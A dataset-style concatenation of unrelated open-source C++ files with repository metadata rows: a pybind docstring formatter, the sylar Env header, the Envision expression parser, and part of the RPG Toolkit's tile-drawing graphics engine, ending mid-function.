rc << name_ << "(";
for (size_t i = 0; i < argument_docs_.size(); ++i)
{
const ArgumentDoc& argument_doc = argument_docs_[i];
rc << argument_doc.name_;
if (argument_doc.default_ != "")
{
rc << "=" << argument_doc.default_;
}
if (i != argument_docs_.size() - 1)
{
rc << ", ";
}
}
rc << ")" << std::endl;
// Summary line, strictly speaking this shall be at the very front. However
// from a compiled Python module we need the function signature hints in
// front for Sphinx parsing and PyCharm autocomplete
if (summary_ != "")
{
rc << std::endl;
rc << summary_ << std::endl;
}
// Arguments
if (argument_docs_.size() != 0 &&
!(argument_docs_.size() == 1 && argument_docs_[0].name_ == "self"))
{
rc << std::endl;
rc << "Args:" << std::endl;
for (const ArgumentDoc& argument_doc : argument_docs_)
{
if (argument_doc.name_ == "self")
{
continue;
}
rc << indent << argument_doc.name_ << " (" << argument_doc.type_;
if (argument_doc.default_ != "")
{
rc << ", optional";
}
if (argument_doc.default_ != "" &&
argument_doc.long_default_ == "")
{
rc << ", default=" << argument_doc.default_;
}
rc << ")";
if (argument_doc.body_ != "")
{
rc << ": " << argument_doc.body_;
}
if (argument_doc.long_default_ != "")
{
std::vector<std::string> lines;
SplitString(lines, argument_doc.long_default_, "\n",
true);
rc << " Default value:" << std::endl
<< std::endl;
bool prev_line_is_listing = false;
for (std::string& line : lines)
{
line = StringCleanAll(line);
if (line[0] == '-')
{ // listing
// Add empty line before listing
if (!prev_line_is_listing)
{
rc << std::endl;
}
prev_line_is_listing = true;
}
else
{
prev_line_is_listing = false;
}
rc << indent << indent << line << std::endl;
}
}
else
{
rc << std::endl;
}
}
}
// Return
rc << std::endl;
rc << "Returns:" << std::endl;
rc << indent << return_doc_.type_;
if (return_doc_.body_ != "")
{
rc << ": " << return_doc_.body_;
}
rc << std::endl;
return rc.str();
}
std::string FunctionDoc::ToMarkdownDocString() const
{
// Example Gooele style:
// http://www.sphinx-doc.org/en/1.5/ext/example_google.html
std::ostringstream rc;
std::string indent = " ";
// Function signature to be parsed by Sphinx
rc << name_ << "(";
for (size_t i = 0; i < argument_docs_.size(); ++i)
{
const ArgumentDoc& argument_doc = argument_docs_[i];
rc << argument_doc.name_;
if (argument_doc.default_ != "")
{
rc << "=" << argument_doc.default_;
}
if (i != argument_docs_.size() - 1)
{
rc << ", ";
}
}
rc << ")" << std::endl;
// Summary line, strictly speaking this shall be at the very front. However
// from a compiled Python module we need the function signature hints in
// front for Sphinx parsing and PyCharm autocomplete
if (summary_ != "")
{
rc << std::endl;
rc << summary_ << std::endl;
}
// Arguments
if (argument_docs_.size() != 0 &&
!(argument_docs_.size() == 1 && argument_docs_[0].name_ == "self"))
{
rc << std::endl;
rc << "#### Parameters:" << std::endl;
for (const ArgumentDoc& argument_doc : argument_docs_)
{
if (argument_doc.name_ == "self")
{
continue;
}
rc << indent << "- *" << argument_doc.name_ << "*" << " (" << argument_doc.type_;
if (argument_doc.default_ != "")
{
rc << ", optional";
}
if (argument_doc.default_ != "" &&
argument_doc.long_default_ == "")
{
rc << ", default=" << argument_doc.default_;
}
rc << ")";
if (argument_doc.body_ != "")
{
rc << ": " << argument_doc.body_;
}
if (argument_doc.long_default_ != "")
{
std::vector<std::string> lines;
SplitString(lines, argument_doc.long_default_, "\n",
true);
rc << " Default value:" << std::endl
<< std::endl;
bool prev_line_is_listing = false;
for (std::string& line : lines)
{
line = StringCleanAll(line);
if (line[0] == '-')
{ // listing
// Add empty line before listing
if (!prev_line_is_listing)
{
rc << std::endl;
}
prev_line_is_listing = true;
}
else
{
prev_line_is_listing = false;
}
rc << indent << indent << line << std::endl;
}
}
else
{
rc << std::endl;
}
}
}
// Return
rc << std::endl;
rc << "#### Returns:" << std::endl;
rc << indent << return_doc_.type_;
if (return_doc_.body_ != "")
{
rc << ": " << return_doc_.body_;
}
rc << std::endl;
return rc.str();
}
std::string FunctionDoc::NamespaceFix(const std::string& s)
{
std::string rc = std::regex_replace(s, std::regex("::"), ".");
rc = std::regex_replace(rc, std::regex("simplifyline\\.simplifyline\\."), "simplifyline.");
return rc;
}
std::string FunctionDoc::StringCleanAll(std::string& s,
const std::string& white_space)
{
std::string rc = StripString(s, white_space);
rc = NamespaceFix(rc);
return rc;
}
ArgumentDoc FunctionDoc::ParseArgumentToken(const std::string& argument_token)
{
ArgumentDoc argument_doc;
// Argument with default value
std::regex rgx_with_default(
"([A-Za-z_][A-Za-z\\d_]*): "
"([A-Za-z_][A-Za-z\\d_:\\.\\[\\]\\(\\) ,]*) = (.*)");
std::smatch matches;
if (std::regex_search(argument_token, matches, rgx_with_default))
{
argument_doc.name_ = matches[1].str();
argument_doc.type_ = NamespaceFix(matches[2].str());
argument_doc.default_ = matches[3].str();
// Handle long default value. Long default has multiple lines and thus
// they are not displayed in signature, but in docstrings.
size_t default_start_pos = matches.position(3);
if (default_start_pos + argument_doc.default_.size() <
argument_token.size())
{
argument_doc.long_default_ = argument_token.substr(
default_start_pos,
argument_token.size() - default_start_pos);
argument_doc.default_ = "(with default value)";
}
}
else
{
// Argument without default value
std::regex rgx_without_default(
"([A-Za-z_][A-Za-z\\d_]*): "
"([A-Za-z_][A-Za-z\\d_:\\.\\[\\]\\(\\) ,]*)");
if (std::regex_search(argument_token, matches, rgx_without_default))
{
argument_doc.name_ = matches[1].str();
argument_doc.type_ = NamespaceFix(matches[2].str());
}
}
return argument_doc;
}
std::vector<std::string> FunctionDoc::GetArgumentTokens(
const std::string& pybind_doc)
{
// First insert commas to make things easy
// From:
// "foo(arg0: float, arg1: float = 1.0, arg2: int = 1) -> simplifyline.bar"
// To:
// "foo(, arg0: float, arg1: float = 1.0, arg2: int = 1) -> simplifyline.bar"
std::string str = pybind_doc;
size_t parenthesis_pos = str.find("(");
if (parenthesis_pos == std::string::npos)
{
return {};
}
else
{
str.replace(parenthesis_pos + 1, 0, ", ");
}
// Get start positions
std::regex pattern("(, [A-Za-z_][A-Za-z\\d_]*:)");
std::smatch res;
std::string::const_iterator start_iter(str.cbegin());
std::vector<size_t> argument_start_positions;
while (std::regex_search(start_iter, str.cend(), res, pattern))
{
size_t pos = res.position(0) + (start_iter - str.cbegin());
start_iter = res.suffix().first;
// Now the pos include ", ", which needs to be removed
argument_start_positions.push_back(pos + 2);
}
// Get end positions (non-inclusive)
// The 1st argument's end pos is 2nd argument's start pos - 2 and etc.
// The last argument's end pos is the location of the parenthesis before ->
std::vector<size_t> argument_end_positions;
for (size_t i = 0; i + 1 < argument_start_positions.size(); ++i)
{
argument_end_positions.push_back(argument_start_positions[i + 1] - 2);
}
std::size_t arrow_pos = str.rfind(") -> ");
if (arrow_pos == std::string::npos)
{
return {};
}
else
{
argument_end_positions.push_back(arrow_pos);
}
std::vector<std::string> argument_tokens;
for (size_t i = 0; i < argument_start_positions.size(); ++i)
{
std::string token = str.substr(
argument_start_positions[i],
argument_end_positions[i] - argument_start_positions[i]);
argument_tokens.push_back(token);
}
return argument_tokens;
}
} // namespace docstring
} // namespace SimplifyLine
| [
"jeremybyu@gmail.com"
] | jeremybyu@gmail.com |
1abfd57650330c592e6e84679f539ca647e6bee6 | b1a14e08044ae882e5dd9231811cad9af43c9b28 | /sylar/env.h | f6186ad90473f8b2ca9803d95f9b51f9f6e04668 | [] | no_license | sadwd12312/sylar-from-scratch | a59f459113a85d59f52c72283a8e2e48d86ad49c | 5dbc892e5c3a1f23d1bf06d2c79c5c1a8398918e | refs/heads/main | 2023-08-07T13:15:28.352730 | 2021-09-28T03:18:45 | 2021-09-28T03:18:45 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,602 | h | /**
* @file env.h
* @brief 环境变量管理
* @version 0.1
* @date 2021-06-13
*/
#ifndef __SYLAR_ENV_H__
#define __SYLAR_ENV_H__
#include "singleton.h"
#include "mutex.h"
#include <map>
#include <vector>
namespace sylar {
class Env {
public:
typedef RWMutex RWMutexType;
/**
* @brief 初始化,包括记录程序名称与路径,解析命令行选项和参数
* @details 命令行选项全部以-开头,后面跟可选参数,选项与参数构成key-value结构,被存储到程序的自定义环境变量中,
* 如果只有key没有value,那么value为空字符串
* @param[in] argc main函数传入
* @param[in] argv main函数传入
* @return 是否成功
*/
bool init(int argc, char **argv);
/**
* @brief 添加自定义环境变量,存储在程序内部的map结构中
*/
void add(const std::string &key, const std::string &val);
/**
* @brief 获取是否存在键值为key的自定义环境变量
*/
bool has(const std::string &key);
/**
* @brief 删除键值为key的自定义环境变量
*/
void del(const std::string &key);
/**
* @brief 获键值为key的自定义环境变量,如果未找到,则返回提供的默认值
*/
std::string get(const std::string &key, const std::string &default_value = "");
/**
* @brief 增加命令行帮助选项
* @param[in] key 选项名
* @param[in] desc 选项描述
*/
void addHelp(const std::string &key, const std::string &desc);
/**
* @brief 删除命令行帮助选项
* @param[in] key 选项名
*/
void removeHelp(const std::string &key);
/**
* @brief 打印帮助信息
*/
void printHelp();
/**
* @brief 获取exe完整路径,从/proc/$pid/exe的软链接路径中获取,参考readlink(2)
*/
const std::string &getExe() const { return m_exe; }
/**
* @brief 获取当前路径,从main函数的argv[0]中获取,以/结尾
* @return
*/
const std::string &getCwd() const { return m_cwd; }
/**
* @brief 设置系统环境变量,参考setenv(3)
*/
bool setEnv(const std::string &key, const std::string &val);
/**
* @brief 获取系统环境变量,参考getenv(3)
*/
std::string getEnv(const std::string &key, const std::string &default_value = "");
/**
* @brief 提供一个相对当前的路径path,返回这个path的绝对路径
* @details 如果提供的path以/开头,那直接返回path即可,否则返回getCwd()+path
*/
std::string getAbsolutePath(const std::string &path) const;
/**
* @brief 获取工作路径下path的绝对路径
*/
std::string getAbsoluteWorkPath(const std::string& path) const;
/**
* @brief 获取配置文件路径,配置文件路径通过命令行-c选项指定,默认为当前目录下的conf文件夹
*/
std::string getConfigPath();
private:
/// Mutex
RWMutexType m_mutex;
/// 存储程序的自定义环境变量
std::map<std::string, std::string> m_args;
/// 存储帮助选项与描述
std::vector<std::pair<std::string, std::string>> m_helps;
/// 程序名,也就是argv[0]
std::string m_program;
/// 程序完整路径名,也就是/proc/$pid/exe软链接指定的路径
std::string m_exe;
/// 当前路径,从argv[0]中获取
std::string m_cwd;
};
/**
* @brief 环境变量管理类单例
*/
typedef sylar::Singleton<Env> EnvMgr;
} // namespace sylar
#endif
| [
"zhong.rs232@gmail.com"
] | zhong.rs232@gmail.com |
f9e32b046858cdf1615b08d89762065e1195ddbf | 759c6913ebc844e031470b2c9309932f0b044e33 | /InteractionBase/src/expression_editor/parser/Parser.cpp | 65ca330ccb4058fcbc61f0c9d6034e4f2a7f5ee8 | [
"BSD-3-Clause"
] | permissive | patrick-luethi/Envision | 7a1221960ad1adde2e53e83359992d5e6af97574 | 9104d8a77e749a9f00ff5eef52ff4a1ea77eac88 | refs/heads/master | 2021-01-15T11:30:56.335586 | 2013-05-30T08:51:05 | 2013-05-30T08:51:05 | 15,878,040 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,352 | cpp | /***********************************************************************************************************************
**
** Copyright (c) 2011, 2013 ETH Zurich
** All rights reserved.
**
** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
** following conditions are met:
**
** * Redistributions of source code must retain the above copyright notice, this list of conditions and the
** following disclaimer.
** * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
** following disclaimer in the documentation and/or other materials provided with the distribution.
** * Neither the name of the ETH Zurich nor the names of its contributors may be used to endorse or promote products
** derived from this software without specific prior written permission.
**
**
** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
** INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
** DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
** SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
**
**********************************************************************************************************************/
#include "expression_editor/parser/Parser.h"
#include "expression_editor/tree_builder/AddEmptyValue.h"
#include "expression_editor/tree_builder/AddErrorOperator.h"
#include "expression_editor/tree_builder/AddOperator.h"
#include "expression_editor/tree_builder/AddValue.h"
#include "expression_editor/tree_builder/FinishOperator.h"
#include "expression_editor/tree_builder/LeaveUnfinished.h"
#include "expression_editor/tree_builder/SkipOperatorDelimiter.h"
#include "expression_editor/OperatorDescriptorList.h"
#include "expression_editor/OperatorDescriptor.h"
#include "../../InteractionBaseException.h"
namespace Interaction {
Parser::Parser(const OperatorDescriptorList* ops) : ops_(ops)
{
}
QVector<ExpressionTreeBuildInstruction*> Parser::parse(QVector<Token> tokens)
{
end_tokens_ = tokens.constEnd();
QStringList expected;
expected.append("expr");
QVector<ExpressionTreeBuildInstruction*> instructions = QVector<ExpressionTreeBuildInstruction*>();
if (tokens.isEmpty())
{
instructions.append( new AddEmptyValue());
return instructions;
}
else
{
ParseResult best = parse(tokens.constBegin(), ParseResult(), expected, false, instructions);
return best.instructions;
}
}
ParseResult Parser::parse(QVector<Token>::const_iterator token, ParseResult result, QStringList& expected,
bool hasLeft, QVector<ExpressionTreeBuildInstruction*>& instructions)
{
// Finish any completed operators
while (!expected.isEmpty() && expected.first() == "end")
{
expected.removeFirst();
instructions.append(new FinishOperator());
result.numOperators++;
hasLeft = true;
}
if (token == end_tokens_)
{
result.missingTrailingTokens = expected.size();
result.instructions = instructions;
return result;
}
bool error = false;
bool processedByLiterals = false;
if (token->type() == Token::Identifier || token->type() == Token::Literal)
processIdentifiersAndLiterals(processedByLiterals, error, expected, token, hasLeft, instructions);
// If the current token is the same as any of the next expected delimiters try to complete the parsing asuming
// missing expressions in between and finishing the intermediate operators.
bool processedByExpectedDelimiters = false;
ParseResult pr_expected_delim;
if (!processedByLiterals && !error && token->type() == Token::OperatorDelimiter)
{
pr_expected_delim = processExpectedOperatorDelimiters(processedByExpectedDelimiters, expected, token, result,
instructions);
}
// Try to complete the parsing assuming that a new operator is being introduced by the current token.
bool processedByNewDelimiters = false;
if ( !processedByLiterals && !error && token->type() == Token::OperatorDelimiter)
{
processNewOperatorDelimiters(processedByNewDelimiters, error, expected, token, hasLeft, result, instructions);
}
if (processedByExpectedDelimiters && !processedByNewDelimiters) return pr_expected_delim;
if (!processedByExpectedDelimiters && processedByNewDelimiters) return result;
if (processedByExpectedDelimiters && processedByNewDelimiters)
return result < pr_expected_delim ? result : pr_expected_delim;
if (!processedByLiterals || error)
{
++result.errors;
instructions.append( new AddErrorOperator(token->text()) );
if (!hasLeft) expected.insert(1, "end");
}
++token;
return parse(token, result, expected, hasLeft, instructions);
}
void Parser::processIdentifiersAndLiterals(bool& processed, bool& error, QStringList& expected,
QVector<Token>::const_iterator& token, bool& hasLeft, QVector<ExpressionTreeBuildInstruction*>& instructions)
{
QString e = expected.isEmpty() ? "" : expected.first();
if ( e == "expr" || (e == "id" && token->type() == Token::Identifier) )
{
instructions.append( new AddValue(token->text()) );
hasLeft = true;
expected.removeFirst();
processed = true;
}
else if (e == "id") error = true;
}
ParseResult Parser::processExpectedOperatorDelimiters(bool& processed, QStringList& expected,
QVector<Token>::const_iterator& token, ParseResult& result,
QVector<ExpressionTreeBuildInstruction*>& instructions)
{
// We should only fill using empty expressions the first unfinished operator. Any operator afterwards should be left
// untouched.
bool fillMissingWithEmptyExpressions = true;
// We can only use the current token to complete the first unseen delimiter of unfinished operators.
// In case unfinished operators have more than one unseen delimiter, only the first one will be tried and the rest
// skipped. The reason for this is mainly that we have no way of finishing an operator "in parts" e.g. a bit from
// the beginning and a bit from the end.
bool firstUnseenDelimiter = true;
ParseResult best_pr = result;
for (int index = 0; index<expected.size(); ++index)
{
bool expectedIsEnd = expected.at(index) == "end";
bool expectedIsDelimiter = !expectedIsEnd && expected.at(index) != "expr" && expected.at(index) != "id";
if (expected.at(index) == token->text() && expectedIsDelimiter && firstUnseenDelimiter)
{
QStringList new_expected = expected;
ParseResult pr = result;
QVector<ExpressionTreeBuildInstruction*> new_instructions = instructions;
pr.missingInnerTokens += index;
// Finish all intermediate positions
for (int i = 0; i<index; ++i)
{
auto exp = new_expected.takeFirst();
if (exp == "expr" || exp == "id" )
{
if (fillMissingWithEmptyExpressions) new_instructions.append( new AddEmptyValue() );
++pr.emptyExpressions;
}
else if (exp == "end")
{
// If the expectation is not an expression or an identifier then it must be an end
new_instructions.append(fillMissingWithEmptyExpressions ?
(ExpressionTreeBuildInstruction*)new FinishOperator() : new LeaveUnfinished());
pr.numOperators++;
}
// Do nothing in case we are skipping over a delimiter.
}
// Finish the actual delimiter
new_expected.removeFirst();
new_instructions.append(new SkipOperatorDelimiter());
// Assume the finished delimiter was an infix one, therefore there is no 'left' expression
// If the finished delimiter is a postfix the last unfinished operator will be finished
// in the beginning of the next call to parse() and then 'hasLeft' will be correctly set
pr = parse(token + 1, pr, new_expected, false, new_instructions);
if (!processed || pr < best_pr)
{
processed = true;
best_pr = pr;
}
}
if (expectedIsEnd)firstUnseenDelimiter = true;
else if (expectedIsDelimiter)
{
// The first time we encounter a delimiter we no longer should fill missing places with empty expressions
fillMissingWithEmptyExpressions = false;
firstUnseenDelimiter = false;
}
}
return best_pr;
}
void Parser::processNewOperatorDelimiters(bool& processed, bool& error, QStringList& expected,
QVector<Token>::const_iterator& token, bool& hasLeft, ParseResult& result,
QVector<ExpressionTreeBuildInstruction*>& instructions)
{
QString e = expected.isEmpty() ? "" : expected.first();
if (e == "id")
{
error = true;
}
else
{
bool prefix = e == "expr";
QList<OperatorDescriptor*> matching_ops;
if (prefix) {
matching_ops.append( ops_->findByPrefix(token->text()) );
}
else {
if (hasLeft)
{
matching_ops.append( ops_->findByInfixWithoutPrefix(token->text()) );
matching_ops.append( ops_->findByPostfixWithoutPreInfix(token->text()) );
}
else
{
// This situation arises for example in the 'delete []' operator where two different operator tokens follow
// one another. It is handled by processExpectedOperatorDelimiters()
}
}
if (matching_ops.isEmpty())
{
error = true;
return;
}
processed = true;
if (prefix) expected.removeFirst();
ParseResult best_pr;
OperatorDescriptor* best_oi = nullptr;
for (OperatorDescriptor* oi : matching_ops)
{
QStringList new_expected = oi->signature();
new_expected.removeFirst(); // Remove the prefix/expr token from the signature
if (!prefix) new_expected.removeFirst(); // Remove the in/postfix token from the signature
new_expected.append( "end" );
new_expected.append( expected );
QVector<ExpressionTreeBuildInstruction*> new_instructions = instructions;
new_instructions.append( new AddOperator(oi) );
ParseResult pr = parse(token + 1, result, new_expected, false, new_instructions);
if (best_oi == nullptr || pr < best_pr)
{
best_pr = pr;
best_oi = oi;
}
}
// Simply return the best result
result = best_pr;
}
}
} /* namespace InteractionBase */
| [
"dimitar.asenov@inf.ethz.ch"
] | dimitar.asenov@inf.ethz.ch |
537a07ad426a68c06da713daf373de8a15af29fd | 7ea60e50e26e7a77264320aee6506b561c08d618 | /Trans3_2/vc/actkrt3/tkgfx/Tkgfx.cpp | ef16cf0788c0fcaa7cd482b554814ad55db16ea6 | [] | no_license | rpgtoolkit/trans3 | 96aa84a39ebb9058a35a91b8e1440efad52b0b30 | 2ff22d53c3ca99ee6caf509f99f81628341b6bdb | refs/heads/master | 2020-04-12T22:22:38.812906 | 2014-02-17T19:23:09 | 2014-02-17T19:23:09 | 5,168,034 | 4 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 29,659 | cpp | /*
********************************************************************
* The RPG Toolkit, Version 3
* This file copyright (C) 2007 Christopher Matthews & contributors
*
* Contributors:
* - Colin James Fitzpatrick
* - Jonathan D. Hughes
********************************************************************
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//-------------------------------------------------------------------------
// Status as of 3.1.0 (8/2006)
// This file contains the remnants of Tk2's graphics engine
// shared between trans3 and toolkit3.
// Some elements are obselete and have been superseded by CTile.
// Some elements are still in use by toolkit3; entry points are
// provided here for CTile functions.
// - Delano
//--------------------------------------------------------------------------
/*
* Globals...
*/
long g_lCallbacks[60]; //array of visual basic function addresses (callbacks)
int g_nNumCallbacks; //number of elements in the above array.
//board...
char board[50][50][9][255];
char boardback[255],borderback[255];
long boardcolor,bordercolor;
int ambienteffect;
int ambientred[50][50][9], ambientgreen[50][50][9], ambientblue[50][50][9];
//tile...
long tile[33][33];
int detail;
//
//std::set<std::string> gsetTransparentTiles; //set listing what tiles are transparent
//256 color palette
//int color256; //256 color palette loaded? 0-no, 1-yes
//long rgbpal[256]; //the palette in question
//tileset...
//enemy
int sizeX, sizeY; //enemy size.
//general
double ddx,ddy; //coord conversion
int addonr,addong,addonb; //addon colors
int tilesX, tilesY; //screen size, in tiles
int g_topX, g_topY; //top x, y of board
/*
* Includes
*/
#include "stdafx.h"
#include "CBoard.h"
#include "tkgfx.h"
TS_HEADER tileset;
#include "../../tkCommon/tkGfx/CUtil.h"
#include "tkpluglocalfns.h"
#include <vector>
// The tiles in memory
static std::vector<CTile *> gvTiles;
//--------------------------------------------------------------------------
// Action: return visual basic function address.
// Since VB won't let you use the AddressOf operator to
// directly obtain the address of a function,
// we instead call into this dll, which just shoots
// the address back to VB.
//
// Parameters: functionAddr - a long value indicating the
// address of a visual basic function.
//--------------------------------------------------------------------------
long APIENTRY GFXFunctionPtr(long functionAddr)
{
return functionAddr;
}
//--------------------------------------------------------------------------
// Initialise the graphics engine.
//
// Parameters: pCBArray - pointer to array of callbacks
// (addresses of those callbacks)
// nCallbacks - no of callbacks in array.
//
//--------------------------------------------------------------------------
int APIENTRY GFXInit(long *pCBArray, int nCallbacks)
{
//copy callback array into our global callback array.
g_nNumCallbacks = nCallbacks;
for (int i=0; i< nCallbacks; i++)
{
g_lCallbacks[i] = pCBArray[i];
}
return 1;
}
//--------------------------------------------------------------------------
// Close the graphics engine -- free allocated memory.
//--------------------------------------------------------------------------
int APIENTRY GFXKill()
{
CTile::clearTileCache();
CTile::KillPools();
GFXClearTileCache(); // Obselete tile cache.
return 1;
}
//--------------------------------------------------------------------------
// Remove a tile from the cache -- to be used when editing tiles
// that are currently being displayed in (e.g.) the board editor.
//--------------------------------------------------------------------------
LONG APIENTRY GFXdeleteTileFromCache(
CONST CHAR* filename)
{
CTile::deleteFromCache(filename);
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXInitScreen
//
// Parameters: screenX, screenY- screen x and y size
//
// Action: init scaling
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXInitScreen( int screenX,
int screenY )
{
ddx=screenX/640.0;
ddy=screenY/480.0;
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXAbout
//
// Parameters:
//
// Action: Show an about box for the graphics engine
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXAbout()
{
MessageBox(NULL, "RPG Toolkit Development System 2.1 Copyright 1999, 2000, 2001\nBy Christopher B. Matthews\n\nGraphics Engine", "RPG Toolkit Hi-Speed Graphics Engine", MB_OK);
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXdrawboard
//
// Parameters: hdc- hdc of device to draw to
// maskhdc- hdc of the device to draw the mask to.
// layer to draw (0 is all)
// topx- top-left x coord of board
// topy- top-left y coord of board
// tilesX, tilesY- x, y size to draw
// nBsizex, nBsizey, nBsizel - dimensions of board.
// ar- red ambient shade of board
// ag- green ambient of board
// ab- blue ambient of board
// nIsometric - 0= draw 2d regular tile
// 1=draw isometric tile
//
// Action: calls back into trans2 and draws
// each tile. if hdc != -1 it draws
// a color board there. if maskhdc !=-1
// it draws the mask, too.
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXdrawboard ( CBoard *brd, int hdc,
int maskhdc,
int layer,
int topx,
int topy,
int tilesX,
int tilesY,
int nBsizex,
int nBsizey,
int nBsizel,
int ar,
int ag,
int ab,
int nIsometric )
{
// brd->drawHdc(hdc, layer, topx, topy, tilesX, tilesY, nBsizex, nBsizey, nBsizel, ar, ag, ab, nIsometric);
return TRUE;
}
///////////////////////////////////////////////////////
//
// Function: GFXdrawboard
//
// Parameters: cnv - canvas id to draw to
// maskcnv- canvas of the device to draw the mask to.
// layer to draw (0 is all)
// topx- top-left x coord of board
// topy- top-left y coord of board
// tilesX, tilesY- x, y size to draw
// nBsizex, nBsizey, nBsizel - dimensions of board.
// ar- red ambient shade of board
// ag- green ambient of board
// ab- blue ambient of board
// nIsometric - 0= draw 2d regular tile
// 1=draw isometric tile
//
// Action: calls back into trans2 and draws
// each tile. if hdc != -1 it draws
// a color board there. if maskhdc !=-1
// it draws the mask, too.
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXDrawBoardCNV ( CBoard *brd, CNV_HANDLE cnv,
// CNV_HANDLE maskcnv,
int layer,
int topx,
int topy,
int tilesX,
int tilesY,
int nBsizex,
int nBsizey,
int nBsizel,
int ar,
int ag,
int ab,
int nIsometric )
{
// brd->draw(cnv, /*maskcnv,*/ layer, topx, topy, tilesX, tilesY, nBsizex, nBsizey, nBsizel, ar, ag, ab, nIsometric);
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXdrawtile
//
// Parameters: fname- filename of tile to draw
// x- x tile coord
// y- y tile coord
// rred- red shade
// ggreen- green shade
// bblue- blue shade
// hdc- hdc of device to draw to
// nIsometric - 0= draw 2d regular tile
// 1=draw isometric tile
// nIsoEvenOdd - 0-Draw at iso coords as if the top tile is odd
// 1-Draw at iso coords as if the top tile is even
//
// Action: Opens and draws a tile
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXdrawtile ( const char* fname,
double x,
double y,
int rred,
int ggreen,
int bblue,
long hdc,
int nIsometric,
int nIsoEvenOdd )
{
std::string strFilename = fname;
std::string strPath = "tiles\\";
strFilename = strPath + strFilename;
int xx, yy;
if (nIsometric == 0)
{
xx=(int)(x*32-32);
yy=(int)(y*32-32);
}
else
{
if (nIsoEvenOdd == 0)
{
if (((int)y % 2) == 0)
{
xx=(int)(x*64-64);
yy=(int)(y*16-32);
}
else
{
xx=(int)(x*64-96);
yy=(int)(y*16-32);
}
}
else
{
if (((int)y % 2) == 0)
{
xx=(int)(x*64-96);
yy=(int)(y*16-32);
}
else
{
xx=(int)(x*64-64);
yy=(int)(y*16-32);
}
}
}
//see if we need to clear the tile cache...
if (gvTiles.size() > TILE_CACHE_SIZE)
GFXClearTileCache();
//first check if this tile has already been drawn...
RGBSHADE rgb;
rgb.r = rred;
rgb.g = ggreen;
rgb.b = bblue;
//std::vector<RGBSHADE> vShades;
//vShades.push_back(rgb);
std::vector<CTile*>::iterator itr = gvTiles.begin();
for (; itr != gvTiles.end(); itr++)
{
std::string strVect = (*itr)->getFilename();
if (strVect.compare(strFilename) == 0)
{
//match!
//(*itr)->gdiDraw(hdc, xx, yy, vShades, SHADE_UNIFORM);
//return 1;
if ((*itr)->isShadedAs(rgb, SHADE_UNIFORM))
{
if (nIsometric == 1)
{
if ((*itr)->isIsometric())
{
//found a match...
(*itr)->gdiDraw(HDC(hdc), xx, yy);
return 1;
}
}
else
{
if (!(*itr)->isIsometric())
{
//found a match...
(*itr)->gdiDraw(HDC(hdc), xx, yy);
return 1;
}
}
}
}
}
//wasn't found.
//we have to load it...
//check if file exists
if (!(util::tileExists(strFilename))) return 1;
CTile* t = new CTile(hdc, strFilename, rgb, SHADE_UNIFORM, (bool)nIsometric);
gvTiles.push_back(t);
//t->gdiDraw(hdc, xx, yy, vShades, SHADE_UNIFORM);
t->gdiDraw(HDC(hdc), xx, yy);
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXdrawtile
//
// Parameters: fname- filename of tile to draw
// x- x tile coord
// y- y tile coord
// rred- red shade
// ggreen- green shade
// bblue- blue shade
// cnv- canvas of device to draw to
// nIsometric - 0= draw 2d regular tile
// 1=draw isometric tile
// nIsoEvenOdd - 0-Draw at iso coords as if the top tile is odd
// 1-Draw at iso coords as if the top tile is even
//
// Action: Opens and draws a tile
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXDrawTileCNV ( const char* fname,
double x,
double y,
int rred,
int ggreen,
int bblue,
CNV_HANDLE cnv,
int nIsometric,
int nIsoEvenOdd )
{
CONST std::string strPath = "tiles\\";
CONST std::string strFilename = strPath + fname;
CCanvas *CONST canvas = reinterpret_cast<CCanvas *>(cnv);
int xx, yy;
if (nIsometric == 0)
{
xx=(int)(x*32-32);
yy=(int)(y*32-32);
}
else
{
if (nIsoEvenOdd == 0)
{
if (((int)y % 2) == 0)
{
xx=(int)(x*64-64);
yy=(int)(y*16-32);
}
else
{
xx=(int)(x*64-96);
yy=(int)(y*16-32);
}
}
else
{
if (((int)y % 2) == 0)
{
xx=(int)(x*64-96);
yy=(int)(y*16-32);
}
else
{
xx=(int)(x*64-64);
yy=(int)(y*16-32);
}
}
}
// See if we need to clear the tile cache
if (gvTiles.size() > TILE_CACHE_SIZE)
GFXClearTileCache();
// Attempt to find the tile
